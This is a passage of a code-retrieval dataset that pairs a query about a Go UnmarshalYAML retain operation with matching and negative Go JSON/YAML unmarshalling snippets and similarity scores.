data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel(&r, v)\n\treturn r.Error()\n}", "func (j *DeleteQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *JSONDate) UnmarshalJSON(b []byte) error {\n\ts := strings.Trim(string(b), \"\\\"\")\n\tif s == \"null\" {\n\t\treturn nil\n\t}\n\tt, err := time.Parse(\"2006-01-02\", s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*j = JSONDate(t)\n\treturn nil\n}", "func (v *PlantainerShadowStateSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5bd79fa1DecodeMevericcoreMcplantainer3(&r, v)\n\treturn r.Error()\n}", "func (v *TransactionsSinceIDRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE82c8e88DecodeGithubComKamaiuOandaGoModel(&r, v)\n\treturn r.Error()\n}", "func (v *ShadowStateDeltaSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon4(&r, v)\n\treturn r.Error()\n}", "func (a *ActivityBugTriaged) UnmarshalJSON(b []byte) error {\n\tvar helper activityBugTriagedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\t*a = ActivityBugTriaged(helper.Attributes)\n\treturn nil\n}", "func (j *Regulations) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (tok *Token) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\t*tok = Lookup(s)\n\treturn nil\n}", "func (ts *TransferStatus) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\treturn ts.Parse(s)\n}", "func (v *BackForwardCacheNotRestoredExplanationTree) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage101(&r, v)\n\treturn r.Error()\n}", "func (v *Away) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer33(&r, v)\n\treturn r.Error()\n}", "func (j *Server) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *PurgeQueueRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *ExportItem) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB83d7b77DecodeGoplaygroundMyjson1(&r, v)\n\treturn r.Error()\n}", "func (a *RemoveScriptToEvaluateOnLoadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnLoadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnLoadArgs(*c)\n\treturn nil\n}", "func (t *JSONDate) UnmarshalJSON(b []byte) error {\n\ts := string(b)\n\ts = Stripchars(s, \"\\\"\")\n\t// x, err := time.Parse(\"2006-01-02\", s)\n\tx, err := StringToDate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif x.Before(earliestDate) {\n\t\tx = earliestDate\n\t}\n\t*t = JSONDate(x)\n\treturn nil\n}", "func (o *ExportDataPartial) UnmarshalJSON(data []byte) error {\n\tkv := make(map[string]interface{})\n\tif err := json.Unmarshal(data, &kv); err != nil {\n\t\treturn err\n\t}\n\to.FromMap(kv)\n\treturn nil\n}", "func (v *ShadowUpdateMsgStateSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon(&r, v)\n\treturn r.Error()\n}", "func (a *CloseArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy CloseArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = CloseArgs(*c)\n\treturn nil\n}", "func (b *Bucket) UnmarshalJSON(data []byte) error {\n\n\t// unmarshal as generic json\n\tvar jsonData map[string]interface{}\n\tif err := json.Unmarshal(data, &jsonData); err != nil {\n\t\treturn err\n\t}\n\n\t// unmarshal as BucketStatus if nodes key exists\n\tif _, ok := jsonData[\"nodes\"]; ok {\n\t\treturn b.unmarshalFromStatus(data)\n\t} else {\n\n\t\t// unmarshal as standard bucket type\n\t\ttype BucketAlias Bucket\n\t\tbucket := BucketAlias{}\n\t\tif err := json.Unmarshal(data, &bucket); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t*b = Bucket(bucket)\n\t\treturn nil\n\t}\n\n}", "func (v *BlitzedItemResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark4(&r, v)\n\treturn r.Error()\n}", "func (c *Cycle) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\n\ttmp, _ := ParseCycle(s)\n\n\t*c = tmp\n\n\treturn nil\n}", "func (v *EventDownloadWillBegin) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoBrowser21(&r, v)\n\treturn r.Error()\n}", "func (s *Client) UnmarshalJSON(data []byte) error {\n\tstr := struct {\n\t\tDuration int64 `json:\"duration,omitempty\"` // Measures the duration of the inbound HTTP request in ms\n\t}{}\n\n\tif err := json.Unmarshal(data, &str); err != nil {\n\t\treturn err\n\t}\n\ts.Duration = time.Millisecond * time.Duration(str.Duration)\n\treturn nil\n}", "func (j *Message) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *BackForwardCacheNotRestoredExplanation) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage102(&r, v)\n\treturn r.Error()\n}", "func (j *AckMessagesRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *RunPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *ForceSettlementOrder) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *UnInstallPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (task *Task) UnmarshalJSON(b []byte) error {\n\ttype temp Task\n\tvar t struct {\n\t\ttemp\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Extract the links to other entities for later\n\t*task = Task(t.temp)\n\n\treturn nil\n}", "func (v *PlantainerShadowMetadataSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5bd79fa1DecodeMevericcoreMcplantainer9(&r, v)\n\treturn r.Error()\n}", "func (j *FF_BidRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *RunRespPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *QueueId) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *JSON) Unmarshal(input, target interface{}) error {\n\t// take the input and convert it to target\n\treturn jsonEncoding.Unmarshal(input.([]byte), target)\n}", "func (a *CloseReply) UnmarshalJSON(b []byte) error {\n\ttype Copy CloseReply\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = CloseReply(*c)\n\treturn nil\n}", "func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *DocumentResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark3(&r, v)\n\treturn r.Error()\n}", "func (i *Transform) UnmarshalJSON(data []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn fmt.Errorf(\"Transform should be a string, got %[1]s\", data)\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}", "func (j *Type) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (tt *OpenDate) UnmarshalJSON(data []byte) error {\n\tt, err := time.Parse(\"\\\"2006-01-02T15:04:05.9Z\\\"\", string(data))\n\t*tt = OpenDate{&t}\n\treturn err\n}", "func (t *Tag) UnmarshalJSON(dat []byte) error {\n\t// get string\n\tvar str string\n\terr := json.Unmarshal(dat, &str)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// parse tag\n\t*t = ParseTag(str)\n\n\treturn nil\n}", "func (n *NullStrState) UnmarshalJSON(b []byte) error {\n\tn.Set = true\n\tvar x interface{}\n\terr := json.Unmarshal(b, &x)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = n.Scan(x)\n\treturn err\n}", "func (j *InstallCancelPacket) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (this *Service) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (a *ApplicationGatewayLoadDistributionTarget) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"etag\":\n\t\t\terr = unpopulate(val, \"Etag\", &a.Etag)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &a.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &a.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &a.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &a.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (b *T) UnmarshalJSON(p []byte) error {\n\tb.BloomFilter = new(bloom.BloomFilter)\n\treturn json.Unmarshal(p, b.BloomFilter)\n}", "func (j *Response) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *FailedPublish) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *TaskDetail) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeCommonSystoolbox4(&r, v)\n\treturn r.Error()\n}", "func (m *Raw) UnmarshalJSON(data []byte) error {\n\t*m = data\n\treturn nil\n}" ]
[ "0.6616514", "0.65029615", "0.64689016", "0.64586544", "0.6417514", "0.64026624", "0.63860905", "0.63236845", "0.63219887", "0.6318377", "0.6295715", "0.62942415", "0.62921244", "0.62870646", "0.6281974", "0.627463", "0.62616754", "0.6259377", "0.6253619", "0.6250271", "0.6235706", "0.6218956", "0.6214203", "0.6206584", "0.61768436", "0.61629224", "0.61505276", "0.61498433", "0.61482495", "0.61482173", "0.6146713", "0.6125395", "0.61114925", "0.6109777", "0.6105807", "0.60973066", "0.6089718", "0.608431", "0.6084219", "0.608281", "0.6080805", "0.60793227", "0.6078963", "0.6077525", "0.60748374", "0.60715914", "0.6067572", "0.60664684", "0.6062253", "0.6057705", "0.60562676", "0.60553926", "0.60525095", "0.6045245", "0.60423404", "0.6035787", "0.6033499", "0.6028307", "0.6021627", "0.60178125", "0.60117", "0.60098946", "0.6008125", "0.60071224", "0.60059696", "0.6000917", "0.6000601", "0.5996469", "0.5991081", "0.59876245", "0.5985065", "0.5983204", "0.5982682", "0.598106", "0.59794587", "0.5976371", "0.59738135", "0.5973637", "0.5973391", "0.59716105", "0.59708315", "0.596078", "0.5959755", "0.59573716", "0.59563917", "0.59553117", "0.59523416", "0.5952012", "0.59519005", "0.5949707", "0.5946617", "0.5945074", "0.59433883", "0.5940558", "0.59402996", "0.5936874", "0.59364694", "0.59343547", "0.5933358", "0.5931437" ]
0.70097476
0
UnmarshalYAML will unmarshal YAML into a retain operation
func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error { return unmarshal(&op.Fields) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}", "func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}", "func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}", "func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}", "func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}", "func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}", "func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}", "func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}", "func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}", "func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}", "func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}", "func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}", "func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}", "func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}", "func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}", "func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}", "func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}", "func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}", "func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}", "func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}", "func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}", "func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}", "func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}", "func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}", "func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}", "func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}", "func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}", "func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Mount\n\taux := &struct {\n\t\tPropagation string `yaml:\"propagation\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(m),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\t// if unset, will fallback to the default (0)\n\tif aux.Propagation != \"\" {\n\t\tval, ok := MountPropagationNameToValue[aux.Propagation]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown propagation value: %s\", aux.Propagation)\n\t\t}\n\t\tm.Propagation = MountPropagation(val)\n\t}\n\treturn nil\n}", "func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}", "func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else 